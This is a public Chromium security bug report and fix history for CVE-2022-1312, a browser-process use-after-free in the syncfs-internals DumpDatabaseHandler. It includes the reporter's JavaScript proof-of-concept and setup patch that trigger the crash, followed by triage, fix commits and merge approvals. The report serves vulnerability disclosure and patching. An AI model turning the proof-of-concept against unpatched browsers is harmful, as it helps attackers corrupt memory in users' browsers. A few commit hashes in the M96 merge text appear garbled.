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**Owner:**[asully@chromium.org](mailto:asully@chromium.org)**CC:**[rzanoni@google.com](mailto:rzanoni@google.com)[hchao@chromium.org](mailto:hchao@chromium.org)[mek@chromium.org](mailto:mek@chromium.org) [pwnall@chromium.org](mailto:pwnall@chromium.org)[ayui@chromium.org](mailto:ayui@chromium.org)**Status:**Fixed (*Closed*)**Components:**[Blink>Storage>FileSystem](#)**Modified:**

Jul 29, 2022

**Backlog-Rank:**

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**Editors:**

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**EstimatedDays:**

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**NextAction:**

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**OS:**[Linux](#), [Windows](#), [Chrome](#), [Mac](#), [Fuchsia](#), [Lacros](#)**Pri:**

1

**Type:**[Bug-Security](#)[Hotlist-Merge-Review](#)[M-100](#)[Security\\_Severity-High](#)[allpublic](#)[reward-inprocess](#)[reward-15000](#)[CVE\\_description-submitted](#)[external\\_security\\_report](#)[Target-100](#)[FoundIn-99](#)[Security\\_Impact-Extended](#)[merge-merged-4664](#)[LTS-Merge-Merged-96](#)[merge-merged-4896](#)[merge-merged-100](#)[merge-merged-4951](#)[merge-merged-101](#)[Release-2-M100](#)[CVE-2022-1312](#)

## Issue 1311701: Security: UAF in DumpDatabaseHandler

Reported by [leecraso@gmail.com](mailto:leecraso@gmail.com) on Wed, Mar 30, 2022, 12:03 PM EDT

 [Code](#)

### VULNERABILITY DETAILS

Message ``getDatabaseDump`[1]` will bind the task ``DidGetDatabaseDump`[2]` with ``base::Unretained(this)`` as a callback into the `SyncFileSystemService`. And if the ``sync_worker`` is turned on, the task will be posted into a new sequence[3]. It will cause the UAF if ``DumpDatabaseHandler`` gets destroyed before the task run.

[1].

[https://source.chromium.org/chromium/chromium/src/+main:chrome/browser/resources/sync\\_file\\_system\\_internals/dump\\_database.js;l=17;drc=04131fcab06ff84254133e7f7f38dd6c48cb0c13;bpv=0;bpt=0](https://source.chromium.org/chromium/chromium/src/+main:chrome/browser/resources/sync_file_system_internals/dump_database.js;l=17;drc=04131fcab06ff84254133e7f7f38dd6c48cb0c13;bpv=0;bpt=0)

[2].

[https://source.chromium.org/chromium/chromium/src/+main:chrome/browser/ui/webui/sync\\_file\\_system\\_internals/dump\\_database\\_handler.cc;l=35;drc=354945de1fb564ef04c07cf8bfedf434d2d81747](https://source.chromium.org/chromium/chromium/src/+main:chrome/browser/ui/webui/sync_file_system_internals/dump_database_handler.cc;l=35;drc=354945de1fb564ef04c07cf8bfedf434d2d81747)

[3].

[https://source.chromium.org/chromium/chromium/src/+main:chrome/browser/sync\\_file\\_system/drive\\_backend/sync\\_engine.cc;l=565;bpv=1;bpt=0;drc=646a03e971cc83d5e9751aefa67abd39fe842f67](https://source.chromium.org/chromium/chromium/src/+main:chrome/browser/sync_file_system/drive_backend/sync_engine.cc;l=565;bpv=1;bpt=0;drc=646a03e971cc83d5e9751aefa67abd39fe842f67)

Fix suggestion:

Use ``weak_ptr_factory_.GetWeakPtr()`` or ``CancelableTask``.

### VERSION

Chrome Version: stable

Operating System: test in linux & win & chromeos

### REPRODUCTION CASE

1. Make sure the browser has an account that has turned on sync.

Or apply this patch to turn on the SyncEngine.

```
diff --git a/chrome/browser/sync_file_system/drive_backend/sync_engine.cc
```

```
b/chrome/browser/sync_file_system/drive_backend/sync_engine.cc
```

```
index b7b315093f257..584bafc84fad1 100644
```

```
--- a/chrome/browser/sync_file_system/drive_backend/sync_engine.cc
```

```
+++ b/chrome/browser/sync_file_system/drive_backend/sync_engine.cc
```

```
@@ -259,8 +259,7 @@ void SyncEngine::Initialize() {
```

```
    DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
```

```
    Reset();
```

```
- if (!identity_manager_ ||
```

```
-     !identity_manager_->HasPrimaryAccount(signin::ConsentLevel::kSync)) {
```

```
+ if (!identity_manager_) {
```

```
    return;
```

```
}
```

2. Load the attached extension to trigger this uaf:

```
out/asan/chrome --user-data-dir=/tmp/xxxx --load-extension="/path/to/extension"
```

Or you can:

browsing `chrome://syncfs-internals` and open devtools

execute ```

```
var w = window.open("chrome://syncfs-internals/");
setTimeout(()=>{
  with (w) {
    async function cb() {
    }
    cr.webUIResponse = cb;
    for (let index = 0; index < 0x2000; index++) {
      chrome.send("getDatabaseDump",[""]);
      chrome.send("getDatabaseDump",[""]);
      window.close();
    }
  }
},1000);
```

``` in console to trigger this uaf.

## FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: browser

Crash State: see asan file

## CREDIT INFORMATION

Reporter credit: Leecraso and Guang Gong of 360 Vulnerability Research Institute

### asan

46.6 KB [View](#) [Download](#)

### manifest.json

210 bytes [View](#) [Download](#)

### background.js

534 bytes [View](#) [Download](#)

[Comment 1](#) by [sheriffbot](#) on Wed, Mar 30, 2022, 12:07 PM EDT

**Labels:** external\_security\_report

[Comment 2](#) by [ClusterFuzz](#) on Wed, Mar 30, 2022, 3:48 PM EDT

ClusterFuzz is analyzing your testcase. Developers can follow the progress at <https://clusterfuzz.com/testcase?key=5086324381777920>.

[Comment 3](#) by [leecraso@gmail.com](mailto:leecraso@gmail.com) on Thu, Mar 31, 2022, 6:22 AM EDT

It is a browser crash, ClusterFuzz with v8 doesn't seem reasonable.

[Comment 4](#) by [hchao@google.com](mailto:hchao@google.com) on Thu, Mar 31, 2022, 1:26 PM EDT

**Owner:** [pwnall@chromium.org](mailto:pwnall@chromium.org)

**Cc:** [hchao@chromium.org](mailto:hchao@chromium.org)

**Labels:** FoundIn-99 Security\_Severity-Medium Pri-1

**Components:** Blink>Storage>FileSystem

Yeah good point.

I was able to repro though i haven't gotten around to looking at foundin correctly. Its at least in 99.

@pwnall can you take a look?

[Comment 5](#) by [sheriffbot](#) on Thu, Mar 31, 2022, 1:26 PM EDT

**Labels:** Security\_Impact-Extended

[Comment 6](#) by [dcheng@chromium.org](mailto:dcheng@chromium.org) on Thu, Mar 31, 2022, 1:45 PM EDT

**Labels:** -Security\_Severity-Medium Security\_Severity-Critical OS-Fuchsia

Per discussions, marking this as critical because it's a browser process UaF and only requires an extension to be installed (with minimal permissions).

The line with `base::Unretained()` dates back to at least

<https://source.chromium.org/chromium/chromium/src/+db3408a9ef16b977be7ab0f5c30a09a57348d62a>, and so this is unsafe in extended and beyond.

[Comment 7](#) by [dcheng@chromium.org](mailto:dcheng@chromium.org) on Thu, Mar 31, 2022, 1:46 PM EDT

**Labels:** OS-Chrome OS-Linux OS-Mac OS-Windows OS-Lacros

I don't /think/ this WebUI page is used on Android, but I don't have a device handy to confirm. Can someone check?

[Comment 8](#) Deleted

[Comment 9](#) by [leecraso@gmail.com](mailto:leecraso@gmail.com) on Thu, Mar 31, 2022, 1:49 PM EDT

yes, this webUI page is not used on Android.

[Comment 10](#) by [sheriffbot](#) on Thu, Mar 31, 2022, 2:16 PM EDT

**Status:** Assigned (was: Unconfirmed)

[Comment 11](#) by [sheriffbot](#) on Fri, Apr 1, 2022, 12:46 PM EDT

**Labels:** M-100 Target-100

Setting milestone and target because of high severity.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 12](#) by [hchao@google.com](mailto:hchao@google.com) on Fri, Apr 1, 2022, 1:02 PM EDT

**Cc:** [mek@chromium.org](mailto:mek@chromium.org)

[Comment 13](#) by [mek@chromium.org](mailto:mek@chromium.org) on Fri, Apr 1, 2022, 1:05 PM EDT

**Owner:** [asully@chromium.org](mailto:asully@chromium.org)

**Cc:** pwnall@chromium.org ayui@chromium.org

asully: can you take a look?

[Comment 14](#) by [sheriffbot](#) on Fri, Apr 1, 2022, 1:12 PM EDT

**Labels:** -Pri-1 Pri-0

Setting Pri-0 to match security severity Critical. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 15](#) by [Git Watcher](#) on Mon, Apr 4, 2022, 7:42 PM EDT

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src/+6405ab0150f1a98ea7a712cf79047770d54bd854>

commit [6405ab0150f1a98ea7a712cf79047770d54bd854](#)

Author: Austin Sullivan <[asully@chromium.org](mailto:asully@chromium.org)>

Date: Mon Apr 04 23:40:56 2022

syncfs\_internals: Use WeakPtr for DumpDatabaseHandler

~~Bug: 1311704~~

Change-Id: I97044b3622cb78d8d0950ee52ada168c401700b4

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3570389>

Auto-Submit: Austin Sullivan <[asully@chromium.org](mailto:asully@chromium.org)>

Reviewed-by: Marijn Kruisselbrink <[mek@chromium.org](mailto:mek@chromium.org)>

Commit-Queue: Marijn Kruisselbrink <[mek@chromium.org](mailto:mek@chromium.org)>

Cr-Commit-Position: refs/heads/main@{#988749}

[modify]

[https://crrev.com/6405ab0150f1a98ea7a712cf79047770d54bd854/chrome/browser/ui/webui/sync\\_file\\_system\\_internals/dump\\_database\\_handler.h](https://crrev.com/6405ab0150f1a98ea7a712cf79047770d54bd854/chrome/browser/ui/webui/sync_file_system_internals/dump_database_handler.h)

[modify]

[https://crrev.com/6405ab0150f1a98ea7a712cf79047770d54bd854/chrome/browser/ui/webui/sync\\_file\\_system\\_internals/dump\\_database\\_handler.cc](https://crrev.com/6405ab0150f1a98ea7a712cf79047770d54bd854/chrome/browser/ui/webui/sync_file_system_internals/dump_database_handler.cc)

[Comment 16](#) by [asully@chromium.org](mailto:asully@chromium.org) on Mon, Apr 4, 2022, 7:43 PM EDT

**Status:** Fixed (was: Assigned)

[Comment 17](#) by [sheriffbot](#) on Tue, Apr 5, 2022, 12:42 PM EDT

**Labels:** reward-topanel

[Comment 18](#) by [sheriffbot](#) on Tue, Apr 5, 2022, 1:41 PM EDT

**Labels:** -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

[Comment 19](#) by [sheriffbot](#) on Tue, Apr 5, 2022, 2:01 PM EDT

**Labels:** Merge-Request-101 Merge-Request-100

Requesting merge to stable M100 because latest trunk commit (988749) appears to be after stable branch point (972766).

Requesting merge to beta M101 because latest trunk commit (988749) appears to be after beta branch point (992481).

Requesting merge to beta M101 because latest trunk commit (988749) appears to be after beta branch point (982481).

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

**Comment 20** by [adetaylor@google.com](#) on Tue, Apr 5, 2022, 5:03 PM EDT

**Labels:** -Security\_Severity-Critical Security\_Severity-High Pri-1

This requires an extension to be installed which mitigates this down from Critical to High. We should accommodate this in the next convenient release vehicle, but this does not require us to inconvenience and cost all Chrome users by issuing an extra Chrome build.

**Comment 21** by [sheriffbot](#) on Tue, Apr 5, 2022, 7:44 PM EDT

**Labels:** -Merge-Request-101 Merge-Review-101 Hotlist-Merge-Review

Merge review required: M101 is already shipping to beta.

Please answer the following questions so that we can safely process your merge request:

1. Why does your merge fit within the merge criteria for these milestones?
  - Chrome Browser: <https://chromiumdash.appspot.com/branches>
  - Chrome OS: <https://goto.google.com/cros-release-branch-merge-guidelines>
2. What changes specifically would you like to merge? Please link to Gerrit.
3. Have the changes been released and tested on canary?
4. Is this a new feature? If yes, is it behind a Finch flag and are experiments active in any release channels?
5. [Chrome OS only]: Was the change reviewed and approved by the Eng Prod Representative?  
<https://goto.google.com/cros-engprodcomponents>
6. If this merge addresses a major issue in the stable channel, does it require manual verification by the test team? If so, please describe required testing.

Please contact the milestone owner if you have questions.

Owners: benmason (Android), harrysouders (iOS), matthewjoseph (ChromeOS), pbommana (Desktop)

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

**Comment 22** by [sheriffbot](#) on Tue, Apr 5, 2022, 7:44 PM EDT

**Labels:** -Merge-Request-100 Merge-Review-100

Merge review required: M100 is already shipping to stable.

Please answer the following questions so that we can safely process your merge request:

1. Why does your merge fit within the merge criteria for these milestones?
  - Chrome Browser: <https://chromiumdash.appspot.com/branches>
  - Chrome OS: <https://goto.google.com/cros-release-branch-merge-guidelines>
2. What changes specifically would you like to merge? Please link to Gerrit.
3. Have the changes been released and tested on canary?
4. Is this a new feature? If yes, is it behind a Finch flag and are experiments active in any release channels?
5. [Chrome OS only]: Was the change reviewed and approved by the Eng Prod Representative?  
<https://goto.google.com/cros-engprodcomponents>
6. If this merge addresses a major issue in the stable channel, does it require manual verification by the test team? If so, please describe required testing.

Please contact the milestone owner if you have questions.

Owners: govind (Android), harrysouders (iOS), dgagnon (ChromeOS), srinivassista (Desktop)

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 23](#) by [asully@chromium.org](mailto:asully@chromium.org) on Wed, Apr 6, 2022, 2:49 AM EDT

1. Why does your merge fit within the merge criteria for these milestones?

High severity security fix

2. What changes specifically would you like to merge? Please link to Gerrit.

M101: <https://crrev.com/c/3573889>

M100: <https://crrev.com/c/3573890>

3. Have the changes been released and tested on canary?

Yes

4. Is this a new feature? If yes, is it behind a Finch flag and are experiments active in any release channels?

No

5. [Chrome OS only]: Was the change reviewed and approved by the Eng Prod Representative?

<https://goto.google.com/cros-engprodcomponents>

N/A

6. If this merge addresses a major issue in the stable channel, does it require manual verification by the test team? If so, please describe required testing.

Yes. See repro case in the initial bug report. The fix works if the browser does not crash

[Comment 24](#) by [amyressler@chromium.org](mailto:amyressler@chromium.org) on Thu, Apr 7, 2022, 11:23 AM EDT

**Labels:** -Merge-Review-100 -Merge-Review-101 Merge-Approved-101 Merge-Approved-100

M101 merge approved, please merge to branch 4951 at your earliest convenience

M100 merge approved, please merge to branch 4896 ASAP so this fix can be included in tomorrow's security refresh for M100

[Comment 25](#) by [Git Watcher](#) on Thu, Apr 7, 2022, 2:08 PM EDT

**Labels:** -merge-approved-100 merge-merged-4896 merge-merged-100

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src/+b8d56fab5dde25c988f0ae7acdac37b1fbd26a91>

commit [b8d56fab5dde25c988f0ae7acdac37b1fbd26a91](#)

Author: Austin Sullivan <[asully@chromium.org](mailto:asully@chromium.org)>

Date: Thu Apr 07 18:07:37 2022

M100: syncfs\_internals: Use WeakPtr for DumpDatabaseHandler

(cherry picked from commit [6405ab0150f1a98ea7a712cf79047770d54bd854](#))

~~[Bug: 1344704](#)~~

Change-Id: I97044b3622cb78d8d0950ee52ada168c401700b4

Reviewed on: <https://chromium-review.googlesource.com/c/chromium/src/+3573889>

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3570389>

Auto-Submit: Austin Sullivan <[asully@chromium.org](mailto:asully@chromium.org)>

Reviewed-by: Marijn Kruisselbrink <[mek@chromium.org](mailto:mek@chromium.org)>

Commit-Queue: Marijn Kruisselbrink <[mek@chromium.org](mailto:mek@chromium.org)>

Cr-Original-Commit-Position: refs/heads/main@{#988749}

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3573890>

Reviewed-by: Srinivas Sista <[srinivassista@chromium.org](mailto:srinivassista@chromium.org)>

Commit-Queue: Srinivas Sista <[srinivassista@chromium.org](mailto:srinivassista@chromium.org)>

Owners-Override: Srinivas Sista <[srinivassista@chromium.org](mailto:srinivassista@chromium.org)>

Cr-Commit-Position: refs/branch-heads/4896@{#1074}

Cr-Branched-From: [1f63ff4bc27570761b35ffbc7f938f6586f7bee8](#)-refs/heads/main@{#972766}

[modify]

[https://crrev.com/b8d56fab5dde25c988f0ae7acdac37b1fbd26a91/chrome/browser/ui/webui/sync\\_file\\_system\\_internals/dump\\_database\\_handler.h](https://crrev.com/b8d56fab5dde25c988f0ae7acdac37b1fbd26a91/chrome/browser/ui/webui/sync_file_system_internals/dump_database_handler.h)

[modify]

[https://crrev.com/b8d56fab5dde25c988f0ae7acdac37b1fbd26a91/chrome/browser/ui/webui/sync\\_file\\_system\\_internals/dump\\_database\\_handler.cc](https://crrev.com/b8d56fab5dde25c988f0ae7acdac37b1fbd26a91/chrome/browser/ui/webui/sync_file_system_internals/dump_database_handler.cc)

**Comment 26** by [sheriffbot](#) on Thu, Apr 7, 2022, 2:12 PM EDT

**Labels:** LTS-Merge-Candidate

LTS Milestone M96

This issue has been flagged as a merge candidate for Chrome OS' LTS channel. If selected, our merge team will handle any additional merges. To help us determine if this issue requires a merge to LTS, please answer this short questionnaire:

1. Was this issue a regression for the milestone it was found in?
2. Is this issue related to a change or feature merged after the latest LTS Milestone?

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

**Comment 27** by [asully@chromium.org](#) on Thu, Apr 7, 2022, 2:22 PM EDT

1. Was this issue a regression for the milestone it was found in?

No

2. Is this issue related to a change or feature merged after the latest LTS Milestone?

No

**Comment 28** by [Git Watcher](#) on Thu, Apr 7, 2022, 2:36 PM EDT

**Labels:** -merge-approved-101 merge-merged-4951 merge-merged-101

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src/+0221dbed0ca96e011d38b117a04aeac320578f27>

commit [0221dbed0ca96e011d38b117a04aeac320578f27](#)

Author: Austin Sullivan <[asully@chromium.org](mailto:asully@chromium.org)>

Date: Thu Apr 07 18:35:05 2022

M101: syncfs\_internals: Use WeakPtr for DumpDatabaseHandler



(cherry picked from commit [6405ab0150f1a98ea7a712cf79047770d54bd854](#))

~~Bug-1311701~~

Change-Id: I97044b3622cb78d8d0950ee52ada168c401700b4

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3570389>

Auto-Submit: Austin Sullivan <[asully@chromium.org](mailto:asully@chromium.org)>

Reviewed-by: Marijn Kruisselbrink <[mek@chromium.org](mailto:mek@chromium.org)>

Commit-Queue: Marijn Kruisselbrink <[mek@chromium.org](mailto:mek@chromium.org)>

Cr-Original-Commit-Position: refs/heads/main@{#988749}

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3573889>

Reviewed-by: Ayu Ishii <[ayui@chromium.org](mailto:ayui@chromium.org)>

Reviewed-by: Victor Costan <[pwnall@chromium.org](mailto:pwnall@chromium.org)>

Commit-Queue: Victor Costan <[pwnall@chromium.org](mailto:pwnall@chromium.org)>

Cr-Commit-Position: refs/branch-heads/4951@{#551}

Cr-Branched-From: [27de6227ca357da0d57ae2c7b18da170c4651438](#)-refs/heads/main@{#982481}

[modify]

[https://crrev.com/0221dbed0ca96e011d38b117a04aeac320578f27/chrome/browser/ui/webui/sync\\_file\\_system\\_internals/du  
mp\\_database\\_handler.h](https://crrev.com/0221dbed0ca96e011d38b117a04aeac320578f27/chrome/browser/ui/webui/sync_file_system_internals/dump_database_handler.h)

[modify]

[https://crrev.com/0221dbed0ca96e011d38b117a04aeac320578f27/chrome/browser/ui/webui/sync\\_file\\_system\\_internals/du  
mp\\_database\\_handler.cc](https://crrev.com/0221dbed0ca96e011d38b117a04aeac320578f27/chrome/browser/ui/webui/sync_file_system_internals/dump_database_handler.cc)

**Comment 29** by [rzanoni@google.com](mailto:rzanoni@google.com) on Mon, Apr 11, 2022, 9:39 AM EDT

**Cc:** [rzanoni@google.com](mailto:rzanoni@google.com)

**Labels:** LTS-Evaluating-96

**Comment 30** by [adetaylor@google.com](mailto:adetaylor@google.com) on Mon, Apr 11, 2022, 1:15 PM EDT

**Labels:** Release-2-M100

**Comment 31** by [adetaylor@google.com](mailto:adetaylor@google.com) on Mon, Apr 11, 2022, 1:30 PM EDT

**Labels:** CVE-2022-1312 CVE\_description-missing

**Comment 32** by [rzanoni@google.com](mailto:rzanoni@google.com) on Tue, Apr 12, 2022, 8:25 AM EDT

**Labels:** -LTS-Evaluating-96 LTS-Merge-Request-96

**Comment 33** by [sheriffbot](#) on Tue, Apr 12, 2022, 8:27 AM EDT

**Labels:** -LTS-Merge-Request-96 LTS-Merge-Review-96

This issue requires additional review before it can be merged to the LTS channel. Please answer the following questions to help us evaluate this merge:

1. Number of CLs needed for this fix and links to them.
2. Level of complexity (High, Medium, Low - Explain)
3. Has this been merged to a stable release? beta release?
4. Overall Recommendation (Yes, No)

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 34](#) by [rzanoni@google.com](mailto:rzanoni@google.com) on Tue, Apr 12, 2022, 8:35 AM EDT

1. Just <https://crrev.com/c/3581702>
2. Low, a few simple conflicts and the fix is a small change
3. 100, 101
4. Yes

[Comment 35](#) by [amyressler@google.com](mailto:amyressler@google.com) on Wed, Apr 13, 2022, 7:42 PM EDT

**Labels:** -reward-topanel reward-unpaid reward-15000

\*\*\* Boilerplate reminders! \*\*\*

Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact [security-vrp@chromium.org](mailto:security-vrp@chromium.org) with any questions.

\*\*\*\*\*

[Comment 36](#) by [amyressler@chromium.org](mailto:amyressler@chromium.org) on Wed, Apr 13, 2022, 7:55 PM EDT

Congratulations, leecraso and Guang Gong! The VRP Panel has decided to award you \$15,000 for this report. Thank you for your efforts and great work!

[Comment 37](#) by [amyressler@google.com](mailto:amyressler@google.com) on Fri, Apr 15, 2022, 9:41 PM EDT

**Labels:** -reward-unpaid reward-inprocess

[Comment 38](#) by [gmpritchard@google.com](mailto:gmpritchard@google.com) on Tue, Apr 19, 2022, 10:26 AM EDT

**Labels:** -LTS-Merge-Candidate -LTS-Merge-Review-96 LTS-Merge-Approved-96

[Comment 39](#) by [Git Watcher](#) on Tue, Apr 19, 2022, 1:23 PM EDT

**Labels:** merge-merged-4664

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src/+794764e9dac65771375b3c3fc1bb73cc4f3a9efe>

commit [794764e9dac65771375b3c3fc1bb73cc4f3a9efe](#)

Author: Austin Sullivan <[asully@chromium.org](mailto:asully@chromium.org)>

Date: Tue Apr 19 17:21:58 2022

[M96-LTS] syncfs\_internals: Use WeakPtr for DumpDatabaseHandler

M96 merge issues:

dump\_database\_handler.h:

- include conflicts
- conflicting types for profile\_

dump\_database\_handler.cc:

- conflicts on call for getting the callback\_id

(chromium picked from commit [6405eb0150f1e08ee7e742e570017770d54b4854](#))

( cherry picked from commit [b405adb0150f1a98ea/a/12cf90477/0d540a854](#) )

#### ~~Bug-1311701~~

Change-Id: I97044b3622cb78d8d0950ee52ada168c401700b4

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3570389>

Auto-Submit: Austin Sullivan <[asully@chromium.org](mailto:asully@chromium.org)>

Commit-Queue: Marijn Kruisselbrink <[mek@chromium.org](mailto:mek@chromium.org)>

Cr-Original-Commit-Position: refs/heads/main@{#988749}

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3581702>

Reviewed-by: Austin Sullivan <[asully@chromium.org](mailto:asully@chromium.org)>

Reviewed-by: Artem Sumaneev <[asumaneev@google.com](mailto:asumaneev@google.com)>

Owners-Override: Artem Sumaneev <[asumaneev@google.com](mailto:asumaneev@google.com)>

Commit-Queue: Roger Felipe Zanoni da Silva <[rzanoni@google.com](mailto:rzanoni@google.com)>

Cr-Commit-Position: refs/branch-heads/4664@{#1596}

Cr-Branched-From: [24dc4ee75e01a29d390d43c9c264372a169273a7](#)-refs/heads/main@{#929512}

[modify]

[https://crrev.com/794764e9dac65771375b3c3fc1bb73cc4f3a9efe/chrome/browser/ui/webui/sync\\_file\\_system\\_internals/du  
mp\\_database\\_handler.h](https://crrev.com/794764e9dac65771375b3c3fc1bb73cc4f3a9efe/chrome/browser/ui/webui/sync_file_system_internals/du<br/>mp_database_handler.h)

[modify]

[https://crrev.com/794764e9dac65771375b3c3fc1bb73cc4f3a9efe/chrome/browser/ui/webui/sync\\_file\\_system\\_internals/du  
mp\\_database\\_handler.cc](https://crrev.com/794764e9dac65771375b3c3fc1bb73cc4f3a9efe/chrome/browser/ui/webui/sync_file_system_internals/du<br/>mp_database_handler.cc)

[Comment 40](#) by [rzanoni@google.com](mailto:rzanoni@google.com) on Tue, Apr 19, 2022, 1:24 PM EDT

**Labels:** -LTS-Merge-Approved-96 LTS-Merge-Merged-96

[Comment 41](#) by [sheriffbot](#) on Tue, Jul 12, 2022, 1:31 PM EDT

**Labels:** -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 42](#) by [amyressler@google.com](mailto:amyressler@google.com) on Tue, Jul 26, 2022, 4:57 PM EDT

**Labels:** CVE\_description-submitted -CVE\_description-missing

[Comment 43](#) by [amyressler@chromium.org](mailto:amyressler@chromium.org) on Fri, Jul 29, 2022, 5:26 PM EDT

**Labels:** -CVE\_description-missing --CVE\_description-missing